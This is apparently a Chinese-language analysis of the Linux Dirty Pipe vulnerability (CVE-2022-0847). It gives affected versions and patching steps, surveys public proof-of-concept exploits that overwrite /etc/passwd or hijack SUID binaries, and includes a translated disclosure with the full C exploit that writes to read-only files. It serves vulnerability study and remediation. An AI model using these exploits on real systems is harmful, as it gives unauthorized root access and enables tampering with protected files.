脏管漏洞
作者: Max Kellermann max.kellermann@ionos.com
原文: https://dirtypipe.cm4all.com/
0x01 漏洞简述
2022年3月7日,安全研究员 Max 提出一个 Linux 内核提权漏洞 CVE-2022-0847,攻击者可以利用该漏洞实现低权限用户提升至 root 权限,且能对主机任意可读文件进行读写。该漏洞在原理上与2016年10月18日由黑客 Phil Oester 提出的 “Dirty Cow”脏牛漏洞类似,由于本质上是由于 Kernel 内核中编写的匿名管道限制不严导致的问题,所以将其命名为 “DirtyPipe”,中文音译为:脏管漏洞(或 脏管道漏洞)。
文末附一篇原文的粗略翻译(Google 翻译加人工翻译校正,第一次翻译,多有翻译不对不恰当的地方,望见谅),大概呈现了作者从接手工单问题处理,到分析事故问题原因,经过大量排查后最终断定是 Linux 内核问题,最终给出了他自己的利用 PoC。
0x02 危害等级
高危(CVSS 评分7.8)
利用难度: 容易
威胁等级: 高危
0x03 影响范围
Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
CentOS 8 默认内核版本受该漏洞影响
CentOS 7 及以下版本不受影响
可以具体通过以下命令排查范围:
uname -a
查看当前使用的内核版本,如果该版本在大于5.8则需要更新内核版本到对应的 5.16.11/5.15.25/5.10.102 及之后版本。
注:为什么是 5.16.11 / 5.15.25 / 5.10.102 呢?
因为 5.10/5.15 是 longterm maintenance(长期维护) 版本,见官网。此漏洞出现后在对应的 5.10.102 版本与 5.15.25 版本进行了修复,且同时在最新的开发版本 5.16.11 也进行了修复(修改记录commit: 9d2231c5d74e13b2a0546fee6737ee4446017903 )
0x04 修复建议
目前此漏洞已经在 Linux 内核 5.16.11、5.15.25 和 5.10.102 中修复。鉴于此漏洞很容易利用并获得 root 权限,且漏洞利用已经公开,建议受影响用户及时升级更新。
以 Ubuntu 为例,从 http://kernel.ubuntu.com 网站下载可用的最新 Linux 内核(这里可以选择需要的版本),点击你所选择的 Linux 内核版本链接(见下图)
下载符合以下格式的两个文件(其中 X.Y.Z 是目标版本号):
linux-modules-X.Y.Z-generic-*.deb
linux-image-X.Y.Z-generic-*.deb
在终端中改变到文件所在的目录,然后执行此命令手动安装内核:
sudo dpkg -i *.deb
重启系统,使用新内核:
sudo reboot
检查内核是否修改成功:
uname -r
0x05 漏洞利用
预备知识点一: Linux密码配置文件 /etc/passwd:
预备只是点二: Linux 用户和用户组管理
此漏洞的本质是任意文件的页面缓存覆盖,但如作者所述,也有一些限制:
攻击者必须具有读取权限(因为它需要使用splice()将页放入管道)
文件偏移量不能在页面边界上(因为页面上的至少一个字节必须拼接到管道中)
写入不能跨越页面边界(因为内核将为其余部分创建一个新的匿名缓冲区)
文件大小无法修改(因为管道有自己的页面管理器,并且不会告诉页面缓存已经写入了多少数据)
虽然有这些限制,但用来提升用户权限,还是非常够用的,真机、模拟器、docker 镜像 只要符合条件的内核版本一定程度上都能利用。以下搜罗了一些网上已经公开的 poc 以及自己的实现版本。
1. poc-1(by Arinerron)
通过本漏洞覆盖写/etc/passwd
密码文件,修改 root 帐号密码为aaron
,然后通过管道将aaron
密码灌入su -
命令达到切换到 root 帐号的目的,从而实现提权。
2. poc-2(by imfiver)
通过本漏洞覆盖写/etc/passwd
密码文件,将 root 帐号密码位x
置空,即root:x:0:0:root:/root:/bin/bash
改为root::0:0:root:/root:/bin/bash
,然后用su root
实现无密码切换到 root 帐号,从而实现提权。
笔者这里分别使用 linux kernel 5.10.76 版本的 ubuntu/16.04 与 kalilinux/kali-last-release 的 docker 容器进行漏洞利用测试,如下图所示:
poc-1 在 ubuntu 容器内执行后并未直接拿到 root 权限,程序直接执行到最后一行system() function call seems to have failed :(
,但却已经成功替换了系统的/etc/passwd
文件,修改了 docker 容器内 root 帐号的密码为aaron
,故接着执行su root
命令并手动输入aaron
密码后,成功从普通用户切换到了 root 用户,达到了提升权限的效果;poc-2 在 ubuntu 容器内执行报错su: Authentication failure
,说明无密码登录失败,此时也无法手动切换到 root 帐号,提权失败。
poc-1 在 kali 容器内执行后,也未直接拿到 root 权限,同样需要手动输入修改后的密码aaron
才能切换成功;poc-2 在 kali 容器内执行完后顺利切换到了 root 帐号,也即无密码切换 root 帐号成功,提权成功。
如果在虚拟机或者实际安装的真实系统上执行,poc-1 在 ubuntu 系统上会报错 su : must be run from a terminal,这个问题暂时无解(或者需要借助工具,见下文),同样,需要手动执行su root
并输入密码aaron
切换到 root 用户。poc-2 在 ubuntu 上同样无密码登录失败,卡在输密码处,直接回车也会报su: Authentication failure
。
poc-1 在两个系统上失败的一个主要原因是,su - -c
命令接受自动密码输入受到的限制,因此无法自动化提权成功。
poc-2 在 ubuntu 上失败的主要原因是 ubuntu 无密码登录策略配置限制,具体读者可以自行查询相关资料;kali 上这块的限制较弱,因此能够顺利提取。
3. poc 3(by liamg)
这个是 go 语言实现版本,作者已经 release 了可执行文件,见 release 页: https://github.com/liamg/traitor/releases/tag/v0.0.14
同样利用本漏洞将/etc/passwd
文件内 root 密码修改为traitor
, 借助于 pty(go 版本的伪终端【pseudo teminal】) 这个工具实现一键提权,效果比较稳定,如下:
./traitor-amd64 list
./traitor-amd64 -e kernel:CVE-2022-0847
ubuntu docker 容器
kali docker 容器
ubuntu 虚拟器
4. poc 4(by AlexisAhmed)
这个 poc 的实现机制就不同于以上几个改/etc/passwd
文件,而是 Hijacking SUID binaries,即: 劫持拥有 root 权限的 SUID 进程。利用本漏洞覆盖输入的 SUID 程序,从而获取一个具有 root 权限的 shell 达到提权。
./exploit2 /usr/bin/sudo
执行本 poc 的参数为任意有 SUID 权限的可执行文件路径,可通过命令find / -perm -4000 2>/dev/null
查询这些可执行文件。
5. poc 5 (by lxzh)
这个 poc 是基于 poc-1 的失败与借鉴自 poc-3 的思路,利用了一个三方工具expect
实现的一键提权。
注:本 poc 的利用需要预先安装expect工具,
apt-get install expect
或者yum install expect
poc-1 的以下原代码片段:
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n");
修改为:
system("./su.exp");
增加一个 su.exp 文件,添加一下内容:
#!/usr/bin/expect
set password "aaron"
spawn su - root
expect "Password:"
send "$password\r"
interact
编译执行即可:
gcc exploit.c -o exploit
chmod +x exploit
chmod +x su.exp
./exploit
源代码在这里
0x06 局限性
不能持久化
由于本漏洞修改的是页面缓存(Page Cache),并未修改磁盘上的文件(有极小概率某个对文件有写权限的进程碰巧执行了读写操作,导致缓存被回写磁盘),虽然可以用于提权等操作,但是如果完成提权后不对被修改的文件重新进行持久化操作的话,当操作系统回收内存或者更简单的重启机器后,所做的修改都将失效。如:修改passwd文件修改/去除掉root用户密码后,简单一个重启操作,root密码就恢复如初了(docker 容器需要 host 上 docker 进程重启才会恢复,仅重启容器,修改的内容能够继续保留)。
特殊文件限制。
由于文件系统的特性,一些特殊文件不经过页面缓存,导致此漏洞对这类文件无效。
0x07 参考
https://kernel.org/category/releases.html
https://zhuanlan.zhihu.com/p/478145409
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903
https://zhuanlan.zhihu.com/p/480663969
https://www.cnblogs.com/klb561/p/10344409.html
https://www.jianshu.com/p/daeafa6efe30
https://linux.die.net/man/1/expect
0x08 漏洞发现经过作者原文翻译
概览
以下是 CVE-2022-0847 的简介,这是一个从 Linux 内核 5.8 版本就存在的漏洞,它允许覆写任意只读文件,因而可以在非特权进程向 root 进程注入任意代码,从而实现提权。
它和 CVE-2016-5195 脏牛漏洞有点类似,但更容易被利用。
该漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 版本中修复。
损坏点 I
这一切源于一年前的一个文件损坏支持工单:一个客户抱怨下载的访问日志文件无法解压,而且,其中一台日志服务器上有一个损坏的日志文件,虽然可以解压,但是 gzip 报了 CRC 错误。我无法解释它为什么损坏,我认为是隔夜日志拆分进程崩溃了并且产生了一个损坏文件,于是我手动修复了那个文件的 CRC,关闭了工单,然后很快就忘记了这个问题。
几个月后,这种情况一次又一次出现,而且每次文件内容看起来都是正确的,只是文件末尾的 CRC 不对。现在,有了几个损坏的文件,我深入的挖掘并发现了这种令人惊讶的损坏方式,终于找到规律了。
访问日志
先让我简单介绍一下我们的日志服务器是如何工作的:在 CM4all 托管环境中,所有 Web 服务器(运行着我们定制的开源 HTTP 服务)发送携带着每一个 HTTP 请求元数据的多播 UDP 数据报文。这些报文被运行着 Pond(我们定制的开源内存数据库)的日志服务器接收。一个隔夜拆分任务将所有的访问日志根据托管网站拆分成单独的文件,然后用 zlib 进行压缩。
通过 HTTP,可以将一个月内所有的访问日志文件下载为单个 .gz 文件。通过一点技巧(涉及 Z_SYNC_FLUSH),在无需解压缩重新压缩的情况,可以拼接一个月内所有 gzip 压缩的每日日志文件。这意味着这个 HTTP 请求几乎不占用 CPU。通过调用splice()
这个系统调用将数据直接从硬盘传输到 HTTP 连接,而无需通过内核/用户空间边界(“零拷贝”)。
Windows 用户无法处理 .gz 文件,但每个人都可以提取 ZIP 压缩文件。ZIP 文件支持 .gz 文件的容器,所以我们可以使用相同的方式及时生成 ZIP 文件。首先我们需要做的是先发送一个 ZIP 文件头,然后像往常一样拼接所有的 .gz 文件内容,然后是中央目录(另一种头信息)。
损坏点 II
这是一个日常正常文件的结尾内容:
000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
00000600 03 00 9c 12 0b f5 f7 4a 00 00
00 00 ff ff 是常规拼接的同步对齐标记,03 00 空结束标记,紧接着是 CRC32(0xf50b129c)和未压缩的文件长度(0x00004af7 = 19191 字节)。
相同的但已损坏的文件:
000005f0 81 d6 94 39 8a 05 b0 ed e9 c0 fd 07 00 00 ff ff
00000600 03 00 50 4b 01 02 1e 03 14 00
同步对齐、空结束标记都在那里,但是未压缩文件长度却是 0x0014031e = 1.3 MB(这是错误的,实际应该和上面一样也是19KB)。CRC32 是 0x02014***(文章脱敏字符:币五零),和文件内容也不匹配。为什么呢?这是我们的日志客户端里面有越界写入还是堆损坏问题?
我比较了所以已知的损坏文件,并且让人惊讶的发现,它们都具有相同的 CRC32 与“文件长度”值。始终相同的 CRC,这意味着这不可能是 CRC 计算的结果。对于损坏的数据,我们会看到不同的(但错误的)CRC 值。几个小时下来,我一直盯着代码中的漏洞,但不知如何解释。
然后我盯着这 8 个字节。最终,我意识到 50 4b 是“P”和“K”的 ASCII 码。 “PK”,就是所有 ZIP 文件头。让我们再看看这 8 个字节:
“需要提取的版本” = 14 00; 0x0014 = 20 (2.0)
50 4b 01 02 1e 03 14 00
50 4b 是“PK”
01 02 是中央目录的代码。
“Version made by” = 1e 03; 0x1e = 30 (3.0); 0x03 = UNIX
“Version needed to extract” = 14 00; 0x0014 = 20 (2.0)
其余的都不见了,文件头似乎在8字节后被截断了。
这确实是中央目录文件头的开头,绝非巧合,但是写入这些文件的进程没有生成此文件头的代码。绝望中,我查看了zlib的源代码和该进程使用到的其他库,但仍一无所获。该软件和“PK”文件头毫不相干。
但是,有一个进程会生成“PK”文件头,那就是即使构建 ZIP 文件的 Web 服务,但是该进程以一个对这些文件没有写权限的用户运行着,不可能是那个进程。
这些分析都没有意义,但新的支持工单不断涌入(速度非常缓慢)。有一些系统性的问题,但我找不到关键问题点。这让我非常沮丧,但我仍忙于处理其他任务,于是一直没把这个文件损坏问题放在心上。
损坏点III
外部的压力让我重新捡起了这个问题,我扫码了整个硬盘上的损坏文件(花了两天时间),希望能找到更多的规律,确实,发现了一个规律:
过去的3个月里有37个损坏文件
它们发生在22个不同的日子:
有18天各有1个损坏
有1天有2个损坏(2021-11-21)
有1天有7个损坏(2021-11-30)
有1天有6个损坏(2021-11-31)
有1天有4个损坏(2022-01-31)
每个月的最后一天显然是最容易发生损坏的一天。
只有主日志服务器有损坏(提供 HTTP 连接和构建 ZIP 文件的服务器)。备用服务器(HTTP 暂停,但有着相同的日志提取过程)上没有损坏。除了那些损坏文件外,两台服务器上的数据都是相同的。
这是由片状硬件造成的吗?内存异常?存储异常?或者宇宙射线?都不是,这些症状看着不像硬件问。难道机器里有鬼不成,我们需要驱鬼人吗?
盯着代码的人
我再次开始盯着我的代码,这次是 Web 服务的。
还记得,Web 服务先写了一个 ZIP 文件头,然后用 splice() 方法发送所以压缩文件,最后再使用 write() 方法写“中央目录文件头”,它以 50 4b 01 02 1e 03 14 00 开头,刚好是一个损坏点。通过网络发送的数据看起来与磁盘上的文件完全一致。但是通过网络发送这些数据的进程并没有那些文件的写权限(甚至也没有尝试这么做),它只是读取这些文件而已。尽快情况不对劲也不可能,但肯定是那个进程造成的损坏,可是如何产生的呢?
我的第一个灵感浮出脑海:为什么总是每个月的最后一天出现文件损坏呢。当一个网站主下载访问日志时,服务器会从当月的第一天开始,然后第二天,直至最后一天。必然,每月的最后一天必定是最后发送;然后每月最后一天总是追加了一个“PK”头。这就是为什么它总是在最后一天损坏。(如果请求的月份还没结束,那么其他日子也会造成损坏,不过这不大可能发送。)
如何产生的呢?
继续盯着内核代码
被卡主了几个小时之后,在排除了所以不可能的问题之后(在我看来),我得出了一个结论:这肯定是一个内核错误。
将数据损坏归因于 Linux 内核错误肯定是最后的判断。一般是不大可能发生的。内核是一个由成千上万的人使用看似混乱的方法开发的极其复杂的工程,尽管如此,它还是十分稳定与可靠的。但这次,我坚信这肯定是一个内核错误。
在一个状态比较好的情况下,我整出了两个 C 程序。
一个持续往文件写入奇数长度的字符串“AAAAA”(模拟日志拆分器):
#include <unistd.h>
int main(int argc, char **argv) {
for (;;) write(1, "AAAAA", 5);
}
// ./writer >foo
另一个持续先使用 splice() 方法从该文件往pipe管道传输数据,然后往pipe管道写入“BBBBB”字符串(模拟 ZIP 生成器)
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char **argv) {
for (;;) {
splice(0, 0, 1, 0, 2, 0);
write(1, "BBBBB", 5);
}
}
// ./splicer <foo |cat >/dev/null
我将这两个程序拷贝到日志服务器,然后,奇迹出现了!字符串“BBBBB”出现在文件里面,尽管没人写入这些字符串到这个文件(只是由一个没有该文件写权限的进程写入pipe管道而已)
所以这真的是一个内核错误!
一旦可以复现,所有的错误就变得浅显易懂了。快速检查确认出这个错误影响了 Linux 5.10 (Debian Bullseye),Linux 4.19 (Debian Buster)却未受影响。在 v4.19 版本到v5.10 版本之间总共有 185011 个提交,但借助二分法,只需要17次就可以定位到错误的提交记录。
二分法到达f6dd975583bd
这个提交点时,我们发现这里为匿名管道缓冲区重构了管道缓冲区代码,它改变了对管道进行“可合并”检查的方式。
管道、缓冲区和页面
为什么是管道呢?在我们的设置中,生成 ZIP 的 Web 服务通过管道与 Web 服务器进行通信,因为我们不满足于 CGI、FastCGI 与 AJP 协议,所以我们在这之间自创了一套 Web 应用程序套接字协议。使用管道替代多路复用套接字(如 FastCGI 与 AJP 所做的),有一个主要的优点:您可以在 Web 应用程序与 Web 服务器之间使用 splice() 方法以获得最大传输效率。这减少了让 Web 应用程序脱离进程的开销(与在 Web 服务器进程内运行 Web 服务相反,就行 Apache 模块那样),还允许在不损失性能的情况下进行权限分离。
Linux 内存管理最小化原则:CPU 管理的最小内存单元是页(通常是4kB),Linux 内存管理的最底层的一切都是关于页的。如果应用向内核请求内存,它将获得许多(匿名)页。所以文件 I/O 也与页有关。如果你从一个文件读取数据,内核首先将大量的 4kB 块从硬盘复制到内核内存中,由称为页缓存的子系统进行管理.从那里,数据将被复制到用户空间。页面缓存中的副本将会保留一段时间,从而可以复用,以避免不必要的硬盘 I/O, 直到内核决定它可以更好的使用该内存(回收)。页面缓存管理的页可以使用mmap()
系统调用(以增加页面错误和 TLB 刷新为代价来减少内存带宽)直接将数据映射到用户空间,而无需将数据拷贝到用户内存。Linux 内核有更多的技巧:sendfile()
系统调用允许应用程序将文件内容发送到套接字,而无需往返用户空间(这是在通过 HTTP 提供 Web 服务场景下流行的优化方式);splice()
系统调用是sendfile()
的一种概括,如果传输的任一侧是管道,它提供了相同的优化。另一端几乎可以是任何东西(另一个管道、文件、套接字、块设备、字符设备)。内核通过传递页面引用来实现这一点,而不是实际复制任何东西(即零复制)。
管道是一个用于进程间单向通信的工具,一端用于将数据推送至其中,另一端可以提取数据。Linux 内核通过一个struct pipe_buffer
环来实现这一点,每个struct pipe_buffer
都指向一个页面。第一次写入管道会分配一个页面(4 kB 数据空间)。如果最近的写入没有完全填满页,则后续写入可能会附加到该现有页而不是分配新页。这就是“匿名”管道缓冲区的工作方式(anon_pipe_buf_ops
)。
但是,如果你将文件中的数据通过splice()
传输进管道,内核会先将数据加载进页缓存,然后创建一个struct pipe_buffer
实例指向页缓存(零复制),但与匿名管道缓冲区不同的是,写入管道的附加数据不能附加到此页,因为该页由页缓存拥有,而不是由管道。
检查是否可以将新数据附加到现有管道缓冲区的历史记录:
很久以前,struct pipe_buf_operations
有一个名为 can_merge
的标签。
提交5274f052e7b3
“Introduce sys_splice() system call” (Linux 2.6.16, 2006) splice() 系统调用特性,引入了 page_cache_pipe_buf_ops,一个用于指向页缓存的管道缓冲区的结构 pipe_buf_operations 的实现,前者 can_merge=0 (不可合并)。
提交01e7187b4119
“pipe: stop using ->can_merge” (Linux 5.0, 2019) 将 can_merge 标志转换为 struct pipe_buf_operations 指针比较器,因为只有 anon_pipe_buf_ops 设置了此标志。
提交f6dd975583bd
“pipe: merge anon_pipe_buf*_ops” (Linux 5.8, 2020) 将此指针比较器转换为per-buffer
标签 PIPE_BUF_FLAG_CAN_MERGE
。
这一年里,这个正常的检查被来回重构,不是吗?
未初始化
PIPE_BUF_FLAG_CAN_MERGE 诞生几年前,提交 241699cd72a8
“new iov_iter flavour: pipe-backed” (Linux 4.9, 2016) 添加了两个新功能,它们分配了一个新的 struct pipe_buffer,但缺少了对 flags 成员的初始化。现在可以使用任意 flags 创建页面缓存引用,但这并不重要。基于现有的 flags 都没什么用,所以当时没有产生任何不良后果,但技术上讲还是个错误。
通过提交f6dd975583bd
“pipe: merge anon_pipe_buf*_ops”, Linux 5.8 上这个错误突然变得很严重。通过将 PIPE_BUF_FLAG_CAN_MERGE 注入一个页缓存引用,这使覆盖页缓存数据成为可能,只需要将新数据写入以一个特殊方式准备好的管道。
损坏点 IV
这就可以解释文件损坏:首先,一些数据被写入管道,然后大量文件被拼接,创建页缓存引用。随机地,那些可能有也可能没有PIPE_BUF_FLAG_CAN_MERGE
设置。如果是,那么写入中央目录文件头的 write() 调用将被写入最后一个压缩文件的页面缓存。
但为什么只有标头的前 8 个字节?实际上,所有标头都被复制到页缓存中,且此操作不会增加文件大小。原始文件最后只有 8 个字节的“未拼接”空间,只有这些字节可以被覆盖。从页缓存的角度来看,页的其余部分是未使用的(尽快管道缓冲区代码确实使用它,因为它有自己的也填充管理)。
为什么这种情况不会频繁地发送?因为页缓存不会写回磁盘,除非它认为页是“脏”的。意外覆盖页缓存中的数据不会使页变“脏”。如果没有其他进程碰巧“弄脏”该文件,则此更改将是短暂的;在下一次重新启动后(或在内核决定从缓存中删除页后,例如在内存压力下回收),更改将被恢复。这允许有趣的攻击发生,而不会在硬盘上留下痕迹。
利用
在我的第一个漏洞利用(我用于 bisect 的“writer”/“splicer”程序)中,我假设这个 bug 只能在特权进程写入文件时利用,并且它取决于时间。
当我意识到真正的问题是什么时,我能够放大这个漏洞:即使在没有写入器的情况下,也可以在任意位置用任意数据覆盖页缓存,限制是:
攻击者必须有读权限(因为它需要通过 splice() 方法将将页输入管道中)
偏移量不能在页边界上(因为页上至少有一个字节已经拼接到管道中)
写入不能跨越页边界(因为这将为其余部分创建一个新的匿名缓冲区)
文件无法调整大小(因为管道有自己的页面填充管理,并且不会告诉页面缓存附加了多少数据)
要利用此漏洞你那个,你需要:
创建管道
用任意数据填充管道(在所以环入口设置 PIPE_BUF_FLAG_CAN_MERGE 标志)
排空管道(保留在 struct pipe_inode_info 环上的所有 struct pipe_buffer 实例中设置的标志)
将目标文件(使用 O_RDONLY 打开)中的数据从目标偏移之前的位置拼接到管道中
将任意数据写入管道;由于设置了 PIPE_BUF_FLAG_CAN_MERGE,此数据将覆盖缓存的文件页,而不是创建新的异常 struct pipe_buffer
为了让这个漏洞更有趣,它不仅可以在没有写权限的情况下工作,它还可以用于不可变文件、只读 btrfs 快照和只读挂载(包括 CD-ROM 挂载)。这是因为页面缓存始终是可写的(由内核),并且写入管道从不检查任何权限。
这是我的概念验证漏洞利用程序:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
时间线
2021-04-29: first support ticket about file corruption
2022-02-19: file corruption problem identified as Linux kernel bug, which turned out to be an exploitable vulnerability
2022-02-20: bug report, exploit and patch sent to the Linux kernel security team
2022-02-21: bug reproduced on Google Pixel 6; bug report sent to the Android Security Team
2022-02-21: patch sent to LKML (without vulnerability details) as suggested by Linus Torvalds, Willy Tarreau and Al Viro
2022-02-23: Linux stable releases with my bug fix (5.16.11, 5.15.25, 5.10.102)
2022-02-24: Google merges my bug fix into the Android kernel
2022-02-28: notified the linux-distros mailing list
2022-03-07: public disclosure